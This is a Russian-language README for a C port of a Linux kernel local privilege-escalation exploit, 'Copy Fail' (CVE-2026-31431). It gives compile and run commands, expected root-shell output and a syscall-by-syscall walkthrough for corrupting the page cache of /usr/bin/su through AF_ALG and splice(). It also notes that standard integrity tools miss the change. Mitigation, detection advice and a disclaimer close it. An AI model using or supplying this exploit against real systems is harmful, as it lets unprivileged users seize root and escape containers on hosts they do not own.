## https://sploitus.com/exploit?id=6B18B294-D0A9-51A0-BFB5-A2750B196C70
## Обзор
**Copy Fail (CVE-2026-31431)** — это логическая уязвимость в ядре Linux, позволяющая локальному непривилегированному пользователю повысить привилегии до уровня суперпользователя (`root`). Уязвимость относится к классу **Local Privilege Escalation (LPE)**, не требует сложных условий эксплуатации (таких как race condition или подбор адресов в памяти) и работает "из коробки" на большинстве дистрибутивов Linux, выпущенных после 2017 года.
Данный репозиторий содержит **порт оригинального Python-эксплойта на язык C** с подробными комментариями, пригодный для статической компиляции и использования в минимальных окружениях.
---
## Содержание
- [Уязвимость](#уязвимость)
- [Суть уязвимости](#суть-уязвимости)
- [Механизм эксплуатации](#механизм-эксплуатации)
- [Затронутые системы](#затронутые-системы)
- [Эксплойт](#эксплойт)
- [Особенности порта на C](#особенности-порта-на-c)
- [Компиляция](#компиляция)
- [Использование](#использование)
- [Как это работает](#как-это-работает)
- [Пошаговый разбор](#пошаговый-разбор)
- [Почему страничный кэш изменяется](#почему-страничный-кэш-изменяется)
- [Устранение уязвимости](#устранение-уязвимости)
---
## Уязвимость
### Суть уязвимости
Уязвимость возникает из-за логической ошибки в криптографической подсистеме ядра Linux, связанной с обработкой **AF_ALG** (интерфейса криптографического API ядра) и механизма **страничного кэша** (page cache).
Ошибка была внесена в 2017 году при добавлении оптимизации, которая убрала лишнюю буферизацию через выполнение операций блочного шифрования AEAD (Authenticated Encryption with Associated Data) **по месту** (in-place). Из-за некорректной обработки границ буферов в алгоритме `authencesn` (часть криптографического шаблона AEAD) возникает запись 4 байт за пределы выделенного буфера, что приводит к повреждению структур управления страничным кэшем.
В результате ядро может **записать данные обратно в страничный кэш файла, даже если он был открыт только для чтения** (`O_RDONLY`).
### Механизм эксплуатации
1. Непривилегированный пользователь открывает сокет `AF_ALG` и инициализирует AEAD-алгоритм `authencesn(hmac(sha256),cbc(aes))`.
2. Через `setsockopt()` устанавливаются аномальные параметры:
- Ключ специального формата (манипуляция буферами ядра).
- Размер аутентификационного тега = 4 байта (вместо нормальных 16–32 байт для HMAC-SHA256).
3. Через `sendmsg()` с control messages инициируется операция **расшифрования**.
4. Системный вызов `splice()` перемещает данные из целевого файла (открытого `O_RDONLY`) в крипто-сокет.
5. Из-за ошибки в `authencesn` страничный кэш файла повреждается, и "расшифрованные" данные записываются обратно в кэш.
6. Ядро исполняет **модифицированный setuid-файл из страничного кэша**, что приводит к выполнению кода с правами `root`.
### Затронутые системы
| Компонент | Описание |
|-----------|----------|
| **Ядро Linux** | Все версии с 2017 года до момента включения исправляющего патча |
| **Подсистема** | `crypto` (модуль `algif_aead`) |
| **Интерфейс** | `AF_ALG` — пользовательский доступ к крипто-API ядра |
| **Системный вызов** | `splice()` в связке с сокетами `AF_ALG` |
**Уязвимые дистрибутивы** (при использовании ядер с загруженным модулем `algif_aead`):
- Ubuntu (все версии)
- Debian (все версии)
- RHEL / CentOS / Rocky / Alma Linux
- SUSE / openSUSE
- Fedora
- Arch Linux
- Прочие дистрибутивы на базе уязвимых ядер
**Особая значимость**: в контейнерных средах (Docker, LXC, Kubernetes) процессам внутри контейнера по умолчанию доступна подсистема `AF_ALG`, если модуль `algif_aead` загружен в ядре хоста. Это создаёт риск **нарушения изоляции контейнера** и получения контроля над хостовой машиной.
**Проверка уязвимости**:
```bash
# Проверить, загружен ли модуль algif_aead
lsmod | grep algif
# Проверить наличие AF_ALG в ядре
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
```
---
## Эксплойт
### Особенности порта на C
Оригинальный эксплойт был написан на Python (≈732 байт). Данный порт на C имеет следующие особенности:
- **Статическая компиляция** — работает в минимальных окружениях без Python.
- **Полная автономность** — требуется только стандартная библиотека C и `libz`.
- **Подробные комментарии на русском языке** — каждый шаг эксплуатации документирован.
- **Идентичное поведение** — системные вызовы точно соответствуют Python-версии (проверено через `strace`).
- **Неблокирующий `recv()`** — предотвращает зависание, повторяя поведение `try/except` из Python.
**Ключевые отличия от Python-версии, выявленные при портировании**:
| Параметр | Python | C (этот порт) |
|----------|--------|---------------|
| Флаг `sendmsg()` | `MSG_MORE` | `MSG_MORE` |
| Флаг `splice()` | `0` | `0` |
| Смещение в pipe | `NULL` | `NULL` |
| Размер ключа | 40 байт | 40 байт |
| `cmsg_len` | 20/36/20 | 20/36/20 (жёстко) |
| Создание pipe | `pipe2(fds, O_CLOEXEC)` | `pipe2(fds, O_CLOEXEC)` |
| `recv()` | Блокирующий с `try/except` | Неблокирующий (`O_NONBLOCK`) |
### Компиляция
```bash
# Требуется libz (zlib1g-dev или zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2
```
### Использование
```bash
./copyfail
```
При успешной эксплуатации будет запущена пропатченная версия `/usr/bin/su`, предоставляющая root-доступ без запроса пароля.
**Ожидаемый вывод**:
```
================================================================
CVE-2026-31431 'Copy Fail' Exploit
================================================================
[+] /usr/bin/su открыт
[+] 40 чанков
[*] 40/40 ок
# id
uid=0(root) gid=0(root) groups=0(root)
```
---
## Как это работает
### Пошаговый разбор
Ниже приведён детальный разбор каждого шага эксплойта с указанием соответствующих системных вызовов:
#### Шаг 1: Создание AF_ALG сокета
```c
socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead",
salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);
```
Создаётся сокет для доступа к криптографическому API ядра. Алгоритм `authencesn` (Authenticated Encryption with Sequence Numbers) — это составной AEAD-алгоритм, использующий AES-CBC для шифрования и HMAC-SHA256 для аутентификации.
#### Шаг 2: Установка уязвимых параметров
```c
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
```
- **Ключ**: 40 байт специального формата, манипулирующих внутренними буферами ядра.
- **Размер аутентификационного тега**: 4 байта. Нормальное значение для HMAC-SHA256 — 16–32 байта. Аномально маленькое значение приводит к переполнению буфера в ядре.
#### Шаг 3: Инициализация операции расшифрования
```c
accept(sock, NULL, NULL); // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data,
cmsg=[(SOL_ALG, 3, 4 нуля), // ALG_SET_OP = DECRYPT
(SOL_ALG, 2, 0x10+19нулей), // ALG_SET_IV
(SOL_ALG, 4, 0x08+3нуля)]}, // ALG_SET_AEAD_ASSOCLEN
MSG_MORE);
```
Создаётся соединение для операции. Через `sendmsg()` с control messages (CMSG) устанавливаются параметры:
- **Операция**: расшифрование (`ALG_OP_DECRYPT = 0`).
- **IV**: 20 байт (вместо нормальных 16 для AES).
- **Ассоциированные данные**: 8 байт (без реальной передачи данных).
Все эти аномалии создают несоответствия в управлении памятью ядра.
#### Шаг 4: Перемещение данных через splice()
```c
pipe2(pipe_fds, O_CLOEXEC);
splice(target_fd, &src_off, pipe_fds[1], NULL, o, 0);
splice(pipe_fds[0], NULL, conn_sock, NULL, o, 0);
```
`splice()` — системный вызов для перемещения данных между файловыми дескрипторами **без копирования через userspace**. Данные перемещаются на уровне ядра через механизм pipe.
1. `splice(target_fd -> pipe)`: данные из целевого файла (`/usr/bin/su`) попадают в pipe.
2. `splice(pipe -> conn_sock)`: данные из pipe поступают в крипто-сокет как "зашифрованный текст".
**Ключевой момент**: в Python (и в данном порте) смещение для pipe передаётся как `NULL`, что позволяет ядру автоматически управлять позицией.
#### Шаг 5: Финализация и игнорирование ошибки
```c
fcntl(conn_sock, F_SETFL, O_NONBLOCK);
recv(conn_sock, buf, 8 + t, 0);
```
Вызов `recv()` заставляет ядро завершить криптографическую операцию. В нормальном режиме здесь вернулись бы расшифрованные данные, но из-за аномальных параметров возвращается ошибка `EBADMSG` (Python) или `EAGAIN` (C с `O_NONBLOCK`). **Ошибка игнорируется** — повреждение страничного кэша уже произошло на этапе `splice()`.
### Почему страничный кэш изменяется
Страничный кэш (page cache) — это кэш содержимого файлов в оперативной памяти. Когда процесс открывает файл через `O_RDONLY`, ядро разрешает только чтение из этого кэша. Однако уязвимость позволяет обойти это ограничение:
1. **Несоответствие размеров буферов**: authsize=4 вместо 16–32 создаёт буферы неправильного размера.
2. **Переполнение буфера**: при "расшифровании" данные пишутся за пределы выделенного буфера.
3. **Повреждение счётчика ссылок**: переполнение затрагивает структуры управления страницами (page reference count).
4. **Запись в кэш**: ядро, думая, что страница свободна, записывает туда "расшифрованные" данные.
5. **Игнорирование O_RDONLY**: проверка прав доступа происходит на уровне VFS при вызове `write()`, но `splice()` работает на уровне страничного кэша напрямую, минуя эти проверки.
**Изменения происходят только в оперативной памяти**, а не на диске. Это делает атаку труднообнаружимой стандартными средствами контроля целостности. После перезагрузки или очистки страничного кэша следы атаки исчезают.
---
## Устранение уязвимости
### Основной способ
**Обновить ядро Linux** до версии, содержащей исправление.
### Временные меры
**Отключить модуль `algif_aead`**:
```bash
# Запретить загрузку модуля
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/algif_aead.conf
# Выгрузить модуль (если загружен)
sudo rmmod algif_aead
```
**Дополнительные рекомендации**:
- Ограничить локальный доступ пользователей.
- Использовать мониторинг целостности ядра и системы.
- Применять принцип минимальных привилегий.
- В контейнерных средах запретить доступ к `AF_ALG` через seccomp-профили.
---
### Изменяется ли файл `/usr/bin/su` на диске?
**Нет**. Изменения происходят только в **страничном кэше** (оперативная память). Содержимое файла на диске остаётся неизменным. После перезагрузки системы страничный кэш очищается, и файл возвращается к исходному состоянию.
### Можно ли обнаружить эксплуатацию?
Обнаружение возможно через:
- Мониторинг системных вызовов (`auditd`, `strace`).
- Анализ аномалий в использовании `AF_ALG` сокетов.
- Контроль целостности файлов **в памяти** (не на диске).
Стандартные средства контроля целостности (AIDE, Tripwire) **не обнаружат** изменений, так как файл на диске остаётся неизменным.
## Дисклеймер
Данный код предоставляется **исключительно в образовательных и исследовательских целях**. Автор не несёт ответственности за любое использование данного кода в противоправных целях. Использование эксплойта без явного разрешения владельца системы является **незаконным** и может повлечь уголовную ответственность.
**Используйте только на системах, которые принадлежат вам, или на системах, где вы имеете явное письменное разрешение на тестирование безопасности.**